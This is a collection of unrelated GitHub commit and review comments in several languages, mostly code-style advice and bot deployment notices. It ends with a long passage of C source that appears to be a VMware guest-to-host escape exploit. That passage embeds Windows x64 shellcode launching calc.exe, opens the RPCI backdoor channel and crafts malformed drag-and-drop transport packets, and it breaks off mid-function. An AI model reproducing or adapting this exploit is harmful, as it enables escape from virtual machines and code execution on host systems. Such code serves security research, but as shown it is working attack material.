I'm also not sure if `Cell` is a good name, seeing as the constants seem to represent the state of a cell. The name `Cell` to me implies an entity, where two different cells have their own identity determined by their location.

I would rename this to `CellState`.


Successfully aliased the URL <https://pebble-kucegzegvf.now.sh> to the following alias.

* https://pebble.now.sh


this title is not clear enough


Successfully aliased the URL <https://packagephobia-jawjinywhn.now.sh> to the following alias.

* https://packagephobia.now.sh


Or... if you have a class that represents a cell, make this a nested enum so you have the pleasing name `Cell.State`.


test


Just a remark: Wouldn't it be nicer to return the value of the if-condition?


@zbalaton oh I see the problem. If you are using an older usbmuxd on macOS, the hyphen is not added of course :) I guess we should just add it to libusbmuxd aswell then.


The project name in this case is not `uport-connect`, but `web3v1` per the package.json.  It does appear that the dependency on `uport-connect@file:../../lib` is inaccurate, but I can't reproduce the error you describe.  I will open a PR to fix the above, but please open an issue if the problem persists


This is my first time to use Qt to do a project.It is a simple Personal Information Management system.


this is a commit comment


it is overlapping. Please recheck it. If it is possible can you attach the screenshot of your work in readme. So that every one can see


Fais attention au formattage et à l'indentation.

Le mieux est de passer par PHPStorm pour les commits, et lorsque tu commit, tu coches toutes les cases excepté update copyright (à droite du cadre pour ton message de commit)


N'utilise `htmlspecialchars()` que pour afficher de la donner, jamais pendant le traitement


Successfully aliased the URL <https://spotify-react-app-template-bhsvvmqynu.now.sh> to the following alias.

* https://spotify-react-app-template.now.sh


Aliasing was ignored due to a new commit existing for this branch, which will be aliased instead.


@interduo: to tymczasowe obejście problemu z podwójnym tooltipem dla przycisku w postaci ikony - icon_tip po prostu nie jest obsługiwany, ale dzięki tej zmianie informacje o obecności czegoś takiego zostaje zachowana. Chodzi o to, że jak jest obecny jednocześnie rozbudowany tooltip z ładowaniem informacji o dokumencie to ten prosty tooltip doprowadza do tego, że prawie zawsze ikonki nie można kliknąć, żeby wywołać akcję powiązaną z przyciskiem. Sądzisz, że icon_tip można usunąć i zdać się tylko na ten rozbudowany tooltip?


Up to now, NON_WORD_REGEX occurs in approx. 5 classes as a static private variable.
To reduce code redundancy, it might be a good idea to refactor the code and provide one public pattern NON_WORD_REGEX which the classes access.


Hi! This is the friendly automated conda-forge-webservice.

I updated the Github team because of this commit.

- @dpryan79 was added to this feedstock maintenance team.

You should get push access to this feedstock and CI services.

Feel free to join the community [chat room](https://gitter.im/conda-forge/conda-forge.github.io).

NOTE: Please make sure to not push to the repository directly.
      Use branches in your fork for any changes and send a PR.
      More details [here](https://conda-forge.org/docs/conda-forge_gotchas.html#using-a-fork-vs-a-branch-when-updating-a-recipe)


Use more descriptive names. We can probably guess that `r` is an index of a row and `c` is an index of a column, but characters don't cost anything and code written with fully spelled out identifiers reads much more fluently.

I'd opt for `rowIndex` and `columnIndex`, but at the very least, make these `row` and `col` throughout the entire file.


Suggestion, fais un try catch sur tout ton bloc, et dans le catch, tu mets:

```php
$message = "Désolé, une erreur technique est survenue, merci de réessayer ultérieurement"
```

Quant au message de ton exception, l'utilisateur n'a pas à le voir. Tu peux te servir de [error_log()](http://php.net/manual/fr/function.error-log.php) pour avoir une trace de ton erreur dans tes logs


Forgot to add

assuming maintainership

to commit message.


Successfully aliased the URL <https://pebble-gupmfceifo.now.sh> to the following alias.

* https://pebble.now.sh


Utiliser `:pseudo` et `:mdp` plutôt que `?`.
Utiliser une constante dans laquelle tu mets ta requête SQL.
De manière générale, il est bon de n'avoir aucune chaîne de caractère au milieu de ton code


Some registers are now somewhere else, for example: GEN_PMCON_1 and ABASE/PMBASE. chipsec/chipsec#457


Thanks, updated! :+1:


На 12.10.2018 Были внесены следующие изменения:
1. Был написан html код для главной страницы проекта Atlantic OIL


Rough draft of page layout containing dummy data to be replaced with api call data


Alex Photis


De manière logique pour une meilleure lecture du code, il est mieux de ne pas avoir de condition négative. Tu peux créer une fonction `hasContent()` qui testera que `strlen($var) >= 1`.


other changes


I've been working on this for months now and I'm so relieved I finally got it working.


As discussed in the call, we are recommending to use this feature through spark job only. Therefore, shall we remove this statement and add another recommendation statement. @jramnara @PradeepSurale @kneeraj


# Specs execution successful
:scroll: [View logs](http://bamboo.comnull)
### Plans updated

Bamboo specs have been successfully imported and the following plans have been updated.

Project | Plan | Build
---|---|---
[Test](http://bamboo.com/browse/TEST) | [Comment test](http://bamboo.com/browse/TEST-CTEST)  | :white_check_mark: [\#1](http://bamboo.com/browse/TEST-CTEST-1)
[New project](http://bamboo.com/browse/NEW) | [Disabled plan](http://bamboo.com/browse/NEW-DISABLED) **disabled** | :white_check_mark: [\#1](http://bamboo.com/browse/NEW-DISABLED-1)

### Deployments updated

Bamboo specs have been successfully imported and the following deployment projects have been updated.

|Deployment project |
----|
[Deployment test](http://bamboo.com/deploy/viewDeploymentProjectVersions.action?id=2162689)|


Essaye de choisir une syntaxe qui te permette de séparer les mots, à ta guise:
* **La plus répandue parmi les devs PHP**: underscores - `$pseudo_connect`
* **Celle que je préfère perso car grosse feignasse, des caractères en mois lol**: camelCase - `$pseudoConnect`

Les deux sont tout aussi corrects, et tu choisis ce que tu préfères. Y en a pas un mieux que l'autre, mais tu dois en choisir un et t'y tenir pour garder une homogénéité dans ton code


This is shit


Pense à nommer les variables pour ce qu'elles sont. Ici, tu ne stockes pas `$mdpconnect` puisque ce n'est pas le mot de passe que tu stockes. Cette variable devrait s'appeler `$hash_mdp_connect` ou `$hashMdpConnect`, ou bien ce que tu veux qui indique bien qu'il s'agit du hash, et pas du mot de passe


№-1 Никогда не называй коммит "1". Я из-за этого названия начал проверять не тот файл

-___-


Essaye de garder tout en anglais, donc `mdp` à remplacer au choix par `pwd` (Si tu veux le garder en abrégé) ou `password` pour la version complète


en effet, j'étais à la même conclusion. le js fonctionne depuis l'ajout dans le tableau d'assets.


Hi! This is the friendly automated conda-forge-webservice.

I updated the Github team because of this commit.

- @dbast was added to this feedstock maintenance team.

You should get push access to this feedstock and CI services.

Feel free to join the community [chat room](https://gitter.im/conda-forge/conda-forge.github.io).

NOTE: Please make sure to not push to the repository directly.
      Use branches in your fork for any changes and send a PR.
      More details [here](https://conda-forge.org/docs/conda-forge_gotchas.html#using-a-fork-vs-a-branch-when-updating-a-recipe)


谁说第一个数应该小于第二个数的？？？


Tu as le droit d'aller à la ligne lol:

```php
$reqUser->execute(
    array(
        $pseudoConnect,
        $mdpConnect
    )
)
```


It was `rosidl_generator_c/msgs/Strings.msg`  The escaped quotes were getting matched as graphic charas rather than escape sequences.


№1. Зачем столько пробелов? Пробелы нужны для того, чтобы разделять визуально части кода, отвечающие за разные действия.


Mieux de passer par fetch(), mais si tu passe par rowCount(), il est mieux de faire >= 1. Icic ça ne change rien, mais c'est une bonne habitude à prendre pour toujours faire pareil partout sans te poser de question à chaque fois


Basically, it's not FP itself. It is common trail, where N and M are random digits. Here regexp like ```[0-9]{,n}``` will be good. But MT doesn't support regexps, as far as I remember.


sectionId是参数诶，是指你调用这个函数的时候传递的参数


Pense à ta prof de français, elle qui a fait preuve d'énormément de patience pour t'apprendre qu'une phrase commençait par une majuscule et se terminait par un point.


Why was this deleted?


I changed that because otherwise (if I remembre) line 42 displayed an error since the versions were not the same!  Shouldn't I have?


newEventContextPath is optional should be checked not to be empty
or when mxobjec is emtty. to support no context.
`this.props.newEventContextPath.split("/")[1] === this.props.mxObject.getEntity()`
Post an error only when entity is not matching in console.


Mes yeux brûlent. Pitié!


№1. Пишется @brief (смотри мануал к [доксигену](http://www.stack.nl/~dimitri/doxygen/manual/index.html)).


@nrc Is the extra "aaaaaaaaaaaa" intended or was that a debug change that got missed when committing?


Oops! I missed that as well.. :grin:


Successfully aliased the URL <https://spotify-react-app-template-tjwwmqtarx.now.sh> to the following alias.

* https://spotify-react-app-template.now.sh


@tvoverbeek If you feel that your branch is ready for merge, merge it, I will rebase my branches on top of the result.
After that, I will be open to discuss the next release (probably on Slack?), I hope that I will come with some more proposals. :)


# Specs execution successful
:scroll: [View logs](http://bamboo.comnull)
### Plans updated

Bamboo specs have been successfully imported and the following plans have been updated.

Project | Plan | Build
---|---|---
[Test](http://bamboo.com/browse/TEST) | [Comment test](http://bamboo.com/browse/TEST-CTEST)  | :white_check_mark: [\#1](http://bamboo.com/browse/TEST-CTEST-1)
[New project](http://bamboo.com/browse/NEW) | [Disabled plan](http://bamboo.com/browse/NEW-DISABLED) **disabled** | :white_check_mark: [\#1](http://bamboo.com/browse/NEW-DISABLED-1)

### Deployments updated

Bamboo specs have been successfully imported and the following deployment projects have been updated.

|Deployment project |
----|
[Deployment test](http://bamboo.com/deploy/viewDeploymentProjectVersions.action?id=2162689)|


`GuiScreen.isCtrlKeyDown()`


Les erreurs que j'ai mises dans `HashSignIn.php` sont à reporter également dans `index.php`. Supprimer également le signup inutile (Raison pour laquelle je ne l'ai pas commenté).


Thanks so much.


№1. Твой стек не может расширяться. Дело в том, что место под этот массив будет выделяться при компиляции. А тебе нужно, чтобы место выделялось при исполнении программы. За это отвечают функции calloc и malloc, их и используй.


Fixes #2


@brandonkelly this leads to an error (i think) when accessing from console:

```
Exception 'yii\base\UnknownMethodException' with message 'Calling unknown method: craft\console\Request::getToken()'

in /var/www/dfo.no/craft/vendor/yiisoft/yii2/base/Component.php:300

Stack trace:
#0 /var/www/dfo.no/craft/vendor/craftcms/cms/src/fields/Matrix.php(892): yii\base\Component->__call('getToken', Array)
#1 /var/www/dfo.no/craft/vendor/craftcms/cms/src/fields/Matrix.php(390): craft\fields\Matrix->_createBlocksFromSerializedData(Array, Object(craft\models\EntryDraft))
#2 /var/www/dfo.no/craft/vendor/craftcms/cms/src/base/Element.php(1936): craft\fields\Matrix->normalizeValue(Array, Object(craft\models\EntryDraft))
#3 /var/www/dfo.no/craft/vendor/craftcms/cms/src/base/Element.php(793): craft\base\Element->normalizeFieldValue('body')
#4 /var/www/dfo.no/craft/src/transformers/page.php(41): craft\base\Element->__get('body')
[...]
```


You should have, but you also should have explained it in the commit message: see now even you are not sure, imagine if this line will have caused a merge conflict and another person needs to decide which version is final.


i have report to driver team, i have test here only u52 model with u52 all working


rename index.html


this is a commit comment


Si j'étais sympa, je te dirais de mettre `Pseudo : `, Si j'étais tatillon, je te dirais de mettre `Nom d’utilisateur : `


hello there


Bit of a pity that you're returning your stream as a list, because a method like this is almost assuredly going to be used in another stream operation. Just create and return the stream, and let the client collect it when they're done adding their own operations to the pipeline.


№3. Давай более осмысленные имена переменным. Какой init? Куда init? Хотя бы initStack


Could the PID also removed? It seems the runner is not using it.


Thanks @szlin! Can you also take a look at https://github.com/jarun/googler/issues/248 ? The defect is closed but we need input from you on the Debian package update strategy.


Added - now named CVE-2018-8440


№4. А что если stk нулевой? Тогда твоя прога вылетит с ошибкой, не предоставив пользователю никакой информации.

Если бы ты написал `assert(stk != NULL);`, то assert выкрикнул бы тебе "Сударь, assertion failed в такой-то строке!11!1". ПОЭТОМУ ПРОСТАВЬ АССЕРТЫ ВЕЗДЕ В ПРОГРАММЕ, ГДЕ ТВОЯ ФУНКЦИЯ ЧТО-ТО ПРИНИМАЕТ - НУЖНО ПРОВЕРЯТЬ, ЧТО ТЕБЕ ДАЮТ НА ВХОД.


`GenesisConfiguration` was renamed to `StatisConfig` so these changes reflect that.


Makes sense. Will add that to the instructions.


also added the solution to the 1st assignment (Add authors)


@fubaf - this was a simple version bump to indicate the existing binaries work with AdMob 17.0.0. There was no code changes necessary to any other binaries, so only the changelog got changed.


I thought there was a method like that. Thanks!


`Eq` instances required for all subtypes of `Configuration` for `goldenTestJSONDec`.


``<!Doctype html>
<html>
	<head> <title> Cards in Bootstrap</title>
		<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css">
		<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
		<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
    </head>

   <body>

  </body>
 </html>


iOS typo


# Specs execution successful
:scroll: [View logs](http://bamboo.comnull)
### Plans updated

Bamboo specs have been successfully imported and the following plans have been updated.

Project | Plan | Build
---|---|---
[Test](http://bamboo.com/browse/TEST) | [Comment test](http://bamboo.com/browse/TEST-CTEST)  | :white_check_mark: [\#1](http://bamboo.com/browse/TEST-CTEST-1)
[New project](http://bamboo.com/browse/NEW) | [Disabled plan](http://bamboo.com/browse/NEW-DISABLED) **disabled** | :white_check_mark: [\#1](http://bamboo.com/browse/NEW-DISABLED-1)

### Deployments updated

Bamboo specs have been successfully imported and the following deployment projects have been updated.

|Deployment project |
----|
[Deployment test](http://bamboo.com/deploy/viewDeploymentProjectVersions.action?id=2162689)|


Successfully aliased the URL <https://pegjs-website-hvuvfdqnuf.now.sh> to the following aliases.

* https://pegjs.org
* https://www.pegjs.org
* https://pegjs.now.sh


I appreciate the effort in the commit message. Unfortunately it does not serve its primary purpose: it does not explain the change, instead it lists the classes added, that can be relatively easy deduced from the diff itself.

The commit message should state the purpose of the commit, why you had to add all those classes and some xml files, what integral change of the application the commit embodies.

Could you, please, try to formulate a better commit message as a reply to this comment?


Hi! This is the friendly automated conda-forge-webservice.

I updated the Github team because of this commit.

- @dbast was added to this feedstock maintenance team.

You should get push access to this feedstock and CI services.

Feel free to join the community [chat room](https://gitter.im/conda-forge/conda-forge.github.io).

NOTE: Please make sure to not push to the repository directly.
      Use branches in your fork for any changes and send a PR.
      More details [here](https://conda-forge.org/docs/conda-forge_gotchas.html#using-a-fork-vs-a-branch-when-updating-a-recipe)


Hey! Yes, indeed row and column. Initially had x and y, then realised that they don't reassemble that idea as it is actually other way round. Agreed, will stick to row/column Index as solely row and column also mean might mean row/column entity and not their index. Thanks.


js exceptions not work here?


№6. Как кто-то будет пользоваться твоей библиотекой: возьмут код, быть может, пролистают документацию, и всё. И оно должно работать. А "finding text size" и [in](struct) не дают НИКАКОГО понимания о том, что делает функция push, как и название самой функции. ПОЧИНИ


thank you! :)


更新今日天气数据


Created multidev environment [d8-digital-stlawu#pr-3](https://dashboard.pantheon.io/sites/9f185cec-9c0b-4fcb-972f-9a5f2f6ed252#pr-3).

[![Visit Site](https://raw.githubusercontent.com/pantheon-systems/ci-drops-8/0.1.0/data/img/visit-site-36.png)](https://pr-3-d8-digital-stlawu.pantheonsite.io/)


哈哈哈哈哈哈


tempnam() on a filename is wrong and does not work on Windows. See a4368f3df6a1007986442a22c61aad354fc8f9b4


@McNeight I just missed this commit, can you create a PR for it?


Don't reuse `Location` to represent a different concept, even if it looks similar. A location represents an absolute location, and not a distance between two locations. If you want to use the same type for both concepts, a class named something like `Vector` from linear algebra is much more applicable. However, it's unwieldy for non-mathematicians, and it may lead to confusion with the existing `Vector` class, which is used more like a generic list.

Since it's unlikely that you will be requesting locations that are further away than one cell, I suggest creating a `Direction` enum with constants like `TOP_RIGHT` or `NORTH_EAST` and a method `getNeighborOf(Location)`. You can then make this method a simple convenience method:
```
Location getNeighbor(Direction direction) {
  return direction.getNeighborOf(this);
}
```


前端/Baidu/第十七天到十九天/加减乘除.html

这个代码你还没改，题目要求是

> 基于上一个任务中，关于加减乘除的任务，加上对于特殊情况的判断，比如判断两个输入框是否都是正常输入了数字类型的内容，比如除法的时候除数是否为0，当判断到输入有异常的时候，把错误信息提示到Console中。

考你的是[异常处理](http://www.w3school.com.cn/js/js_errors.asp)


Would this be safe...?

```
891         $hideDisabledBlocks = (
892             ($request instanceof craft\web\Request &&
893             $request->getToken() !== null ) ||
894             $request->getIsLivePreview()
895         );
```


Aliasing was ignored due to a new commit existing for this branch, which will be aliased instead.


fdsfds


Oh, that's weird. I have a very sensitive touchpad, so sometimes the cursor jumps around on me. It looks like I accidentally pasted "LOG_DATE=$(date +%F-%H-%M)\n" right in the middle of your comment there. Now I wonder if I was intending to paste that somewhere else. At any rate, I haven't tested this revised wasta-offline-setup script yet. Maybe I should have only committed changes made in the wasta-offline-snap-setup script at that point. I'm still getting to know git!


Thank you!


Turtle, in the future can you please rename the OpMode when you make entirely different code? Ty


This was for testing purposes.

Believe it.


№9. Ты точно уверен, что хочешь, чтобы твоя прога продолжала работать с неправильным стеком? Точно нет. Тогда завершай исполнение - вызывай `exit()`.


This line comes out as rather too enthusiastic, for example Type 1 is standard font format that is still in use today (in some circles) but is not specifically supported by HarfBuzz (one can get it to work in some sort by using FreeType font functions).


# Specs execution successful
:scroll: [View logs](http://bamboo.comnull)
### Plans updated

Bamboo specs have been successfully imported and the following plans have been updated.

Project | Plan | Build
---|---|---
[Test](http://bamboo.com/browse/TEST) | [Comment test](http://bamboo.com/browse/TEST-CTEST)  | :white_check_mark: [\#1](http://bamboo.com/browse/TEST-CTEST-1)
[New project](http://bamboo.com/browse/NEW) | [Disabled plan](http://bamboo.com/browse/NEW-DISABLED) **disabled** | :white_check_mark: [\#1](http://bamboo.com/browse/NEW-DISABLED-1)

### Deployments updated

Bamboo specs have been successfully imported and the following deployment projects have been updated.

|Deployment project |
----|
[Deployment test](http://bamboo.com/deploy/viewDeploymentProjectVersions.action?id=2162689)|


99% sure that both of these drive functions are going backwards


I’d not categorize Pango as a graphic rendering library, that would be Cairo. I think a layout engine is more like it.


Successfully aliased the URL <https://devlinks-bot-yhxfvpfnit.now.sh> to the following alias.

* https://devlinks-bot.now.sh


Related Issue #30


This needs to be updated to refresh TR4_PRE_PROD but was tested on TR4_DEV and completed ok.

All queried need the -QueryTimeout ([int]::MaxValue) otherwise it will actually timeout. This is a bug in Invike-SQLCmd2


wonderful!


post-commit suggestion: when we make STYLE.md changes can we also open up issues to add checkers for those in check_format.py?


The problem here is that I extend `ref` with `UID`. It used to be:
 `Ref   :: RefType -> RefAdd -> ShortName -> Sentence`
Now, it is:
`Ref   :: UID -> RefType -> RefAdd -> ShortName -> Sentence`
For this UID, `makeref` from a chunk or from a label would make difference, which leads to a chunk's UID or a label's UID. That's why I should differenciate them. So I'm thinking `HasLabelsUID` would help to know the UID is a label's UID and this would benefit the following procedures. @JacquesCarette


Successfully aliased the URL <https://spotify-react-app-template-zpozkmsxvo.now.sh> to the following alias.

* https://spotify-react-app-template.now.sh


this is the comment


itc


 var humanFoundWord = $( "#human-word-input").val();
 	if(isThisAWord(humanFoundWord)){
		 if(haveLettersForWord(humanFoundWord)){
			 successfullyAddedWord(humanFoundWord);
		 }else{
			 alert(humanFoundWord + " - Do not have the letters for this word");
		 }
	 }else{
		 alert(humanFoundWord + " is not a valid word.");
	 }


Successfully aliased the URL <https://devlinks-bot-drbazoxeov.now.sh> to the following alias.

* https://devlinks-bot.now.sh


this is a commit comment


Accept edits


№10. Зачем нужны эти скобки (вокруг `stk->top` и много где ещё)? Они усложняют чтение кода и не нужны для правильного исполнения программы.


@rik-shaw , What do you think about the placement of the "Copy snap packages" section? Also, would you prefer that the check for /usr/bin/snap be at the top of the snap-setup script instead of here? That would obviously reduce the changes needed in the wasta-offline-setup script. In that case the additions here would simply be a comment line and "/usr/bin/wasta-offline-snap-setup "$WO_LOC" following it.


Successfully aliased the URL <https://spotify-react-app-template-dlimzfdfoz.now.sh> to the following alias.

* https://spotify-react-app-template.now.sh


№11. И снова, нужна проверка на ненулёвость указателя и на то, что в стеке не ноль элементов.


This is the commit that causes https://bugs.gnucash.org/show_bug.cgi?id=796883 - reverting this commit makes the register usable for me. Test: find any register field, press left/right/shift.


cool


Has been fixed in new push.


Successfully aliased the URL <https://vital-ui-react-bymlebgprp.now.sh> to the following aliases.

* https://vital-ui-react.now.sh
* https://react.vitaluikit.com


Successfully aliased the URL <https://spotify-react-app-template-agkchouyhn.now.sh> to the following alias.

* https://spotify-react-app-template.now.sh


Ok


The variable name `isToEasy` also seems to be affected.


Done, thanks for the reminder!


Actually renamed idea to Mutates -> Regenerable; Mutates.mutate() -> Regenerable.regenerate(); MutationRules -> RegenerationRules.

I like this idea myself much better than Mutates. And I hope it conflicts less or no at all with a type enum I have.


Ah, I see.


I see. In that case I would not call the interface `Mutable`, because that's invariably going to lead to confusion. I'm also not sure why you need such an interface in the first place. Are you planning on having different types that implement it?

I would call this class `Affliction` and not have it implement any interface. A cell can be 'afflicted' with `LIFE`, or `DEATH` or `POISON` or `MONSTERHOOD` or other things still.

I had a thought: What if cells could have more than one 'affliction'? For instance, a cell could be a monster that eats cells around it, but at the same time it could also be poisoned and before it dies of the poison it passes the poison to other cells around it. This would still mean that you need a different `Cell` class that keeps track of what `Affliction`s it currently has.

This is just an idea, spit balling a bit. I do really recommend not naming *this* type `Cell`, because it more closely represents a role that a cell can assume.


Hmm, I think if the defining characteristic of this estimator is how it does incremental search, we should be setting a default that just does the same as grid / random search.


dryeryerrtyherheryhgerherherh


ต


Add BloomFilter DS


good


Forgot to tag with issue again 🙃 #14


The adaptive stuff seems to usually the right move?  I think that this is a tension between "good defaults"  and "simple defaults".  Regardless I think that this is probably a broader discussion.  If the goal is to get this PR in early then I think that we should leave the default where it was before and discuss separately.


Now cannot deploy because all the allocated instances are in use.
You can either [upgrade](https://zeit.co/account/plan) your plan or [down scale](https://zeit.co/docs/getting-started/scaling) existing [deployments](https://zeit.co/dashboard/deployments).


For the record, all the `tulip*-python` wheels I previously uploaded on PyPI were generated using MSYS2.
I strongly advised you to do the same as the main benefit (this is also true for the build of Tulip on windows platform) is that you can grab all required dependencies precompiled and up to date with a couple of `pacman` commands. This is really time saving when building the `tulipgui-python` wheel.
The only dependency that must not come from MSYS2 is Python that should be installed from the installers provided by www.python.org. Simply point the `PYTHON_EXECUTABLE` CMake variable to the correct Python (usually `C:/PythonX.Y`), build the wheel with MSYS2 and you're good.


№12. У тебя часом нет предков из индии? (Шутка про индусского программиста)

Если серьёзно, то:
```
bool stackIsEmpty(struct Stack* stk) {
    assert(stk->top != NULL);
    return stk->top == 0;
}
```

А вообще, посмотри, как выглядит код, например, у Олежи Зиновчика, или у Лёни Кондрашёва, или у Ярослава Поздняка. А лучше у всех троих. Увидишь, как надо, и сразу захочется делать так же.


@kelunik could you give me a hint, why this files will not be written?
I can see `onResolve` is called with `$result` beeing `null`.

I get a `$error` of

`"Could not send the file task to worker"`
`Sending on the channel failed. Did the context die?`


IBM Cloud [toolchain](https://console.bluemix.net/devops/toolchains/3c790998-4c22-4b97-bc2a-7f2a33ea90fe?env_id=ibm%3Ayp%3Aeu-gb "dbradar"): [Delivery Pipeline](https://console.bluemix.net/devops/pipelines/f0ba471f-d29d-4315-9673-8690e45044da?env_id=ibm%3Ayp%3Aeu-gb "dbradar") deployed [dbradar](https://github.com/alcarriaIBMgts/dbradar/releases/tag/deploy-ibm-yp-eu-gb-angelalcarria-dev-20181012-134849 "deploy-ibm-yp-eu-gb-angelalcarria-dev-20181012-134849") to [dev](https://console.bluemix.net/apps/41dfeb59-5d62-4e37-aac8-87138b7a4493?env_id=ibm:yp:eu-gb "ibm:yp:eu-gb:angelalcarria:dev"), including this commit


`GenesisConfiguration` was renamed to `StaticConfig`. These changes reflect that.


All subtypes of `Configuration` require an `Eq` instance for the decoding test.


Project v1.0


#include <Winsock2.h>
#include <windows.h>
#include <stdio.h>
#include "backdoor_def.h"
#include "message.h"
//#include "rpcout.h"

#pragma comment(lib,"Ws2_32.lib")

#define GUEST_RPC_CMD_STR_DND "dnd.transport "
#define RPCI_PROTOCOL_NUM       0x49435052 /* 'RPCI' ;-) */
//#define GUEST_RPC_CMD_STR_CP  "copypaste.transport "

// call calc.exe (winx64)
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";

typedef
#pragma pack(push, 1)
struct DnDTransportPacketHeader {
	uint32 type;
	uint32 seqNum;
	uint32 totalSize;
	uint32 payloadSize;
	uint32 offset;
	uint8 payload[1];
}
#pragma pack(pop)
DnDTransportPacketHeader;

typedef
#pragma pack(push, 1)
struct winchunk {
	uint32 type;
	uint32 unknow;
	uint32 windowid;
	uint32 chunkid;
	uint32 payloadSize;
	char payload[8];
}
#pragma pack(pop)
winchunk;

unsigned int GlobalChunkid = 0;
typedef enum
{
	DND_TRANSPORT_PACKET_TYPE_UNKNOWN = 0,
	DND_TRANSPORT_PACKET_TYPE_SINGLE,
	DND_TRANSPORT_PACKET_TYPE_REQUEST,
	DND_TRANSPORT_PACKET_TYPE_PAYLOAD,
} DND_TRANSPORT_PACKET_TYPE;

#define DND_TRANSPORT_PACKET_HEADER_SIZE      (5 * sizeof(uint32))

typedef enum TransportInterfaceType {
	TRANSPORT_HOST_CONTROLLER_DND = 0,
	TRANSPORT_HOST_CONTROLLER_CP,
	TRANSPORT_HOST_CONTROLLER_FT,
	TRANSPORT_GUEST_CONTROLLER_DND,
	TRANSPORT_GUEST_CONTROLLER_CP,
	TRANSPORT_GUEST_CONTROLLER_FT,
	TRANSPORT_INTERFACE_MAX,
} TransportInterfaceType;

Message_Channel msgchl;

BOOL rpcstart()
{
	return Message_OpenAllocated(RPCI_PROTOCOL_NUM, &msgchl, 0, 0);
}

Bool rpcstop()
{
	return Message_CloseAllocated(&msgchl);
}

BOOL rpcsend(char *inbuf, size_t inlen, unsigned char**outbuf, size_t *outlen)
{
	if (Message_Send(&msgchl, (const unsigned char*)inbuf, inlen) == FALSE) {
		return FALSE;
	}
	if (Message_Receive(&msgchl, outbuf, outlen) == FALSE) {

		return FALSE;
	}
	if (!*outbuf && !*outlen)
	{
		return TRUE;
	}
	if (*outlen < 2
		|| ((strncmp((const char *)*outbuf, "1 ", 2) == 0) == FALSE
		&& strncmp((const char *)outbuf, "0 ", 2))) {
		return FALSE;
	}
	*outlen -= 2;
	*outbuf += 2;
	return TRUE;
}

BOOL rpcsendstr(char *instr, unsigned char**outbuf, size_t *outlen)
{
	size_t inlen = strlen(instr);
	return rpcsend(instr, inlen, outbuf,outlen);
}
void setver4()
{
	unsigned char *myReply = 0;
	size_t myRepLen;

	if (!rpcsend("tools.capability.dnd_version 4", 31, &myReply, &myRepLen))
	{
		puts((char*)myReply);
		puts("Error1");
		return;
	}
	if (!rpcsend("tools.capability.copypaste_version 4", 37, &myReply, &myRepLen))
	{
		puts((char*)myReply);
		puts("Error2");
		return;
	}
	if (!rpcsend("vmx.capability.dnd_version", 26, &myReply, &myRepLen))
	{
		puts((char*)myReply);
		puts("Error3");
		return;
	}
	printf("Current DnD Version %s\n", myReply);
	if (!rpcsend("vmx.capability.copypaste_version", 32, &myReply, &myRepLen))
	{
		puts((char*)myReply);
		puts("Error4");
		return;
	}
	printf("Current C&P Version %s\n", myReply);
}

BOOL SendPacket(const uint8 *msg,size_t length,const char *cmd)
{
	char *rpc = NULL;
	size_t rpcSize = 0;
	unsigned char *myReply = 0;
	size_t myRepLen;
	BOOL ret = true;

	rpcSize = strlen(cmd)+ length;
	rpc = new char[rpcSize];
	strcpy_s(rpc, rpcSize,cmd);

	if (length > 0) {
		memcpy(rpc + strlen(cmd), msg, length);
	}

	ret= rpcsend(rpc, rpcSize, &myReply, &myRepLen);

	if (!ret)
	{
		puts((char*)myReply);
	}
	delete (rpc);
	return ret;
}

BOOL DnDSendPacket(char *inbuf,size_t inbuflen,uint32 seq,uint32 totalsize,uint32 offset)
{
	DnDTransportPacketHeader *packet;
	BOOL ret=FALSE;

	packet = (DnDTransportPacketHeader *)new char[inbuflen + DND_TRANSPORT_PACKET_HEADER_SIZE];
	packet->type = DND_TRANSPORT_PACKET_TYPE_PAYLOAD;
	packet->seqNum =seq;
	packet->totalSize = totalsize;
	packet->payloadSize = inbuflen;
	packet->offset = offset;

	memcpy(packet->payload,inbuf,inbuflen);

	ret = SendPacket((uint8*)packet, inbuflen + DND_TRANSPORT_PACKET_HEADER_SIZE, GUEST_RPC_CMD_STR_DND);
	delete packet;
	return ret;
}

BOOL SetPayloadQword(char *payload)
{
	unsigned char *myReply = 0;
	size_t myRepLen, totallen = 0;
	char tmp[0x100];
	RtlSecureZeroMemory(tmp, 0x100);

	winchunk *tmpchunk = new winchunk;

	RtlSecureZeroMemory(tmpchunk, sizeof winchunk);
	tmpchunk->type = htonl(1);
	memcpy(tmpchunk->payload, payload, 8);
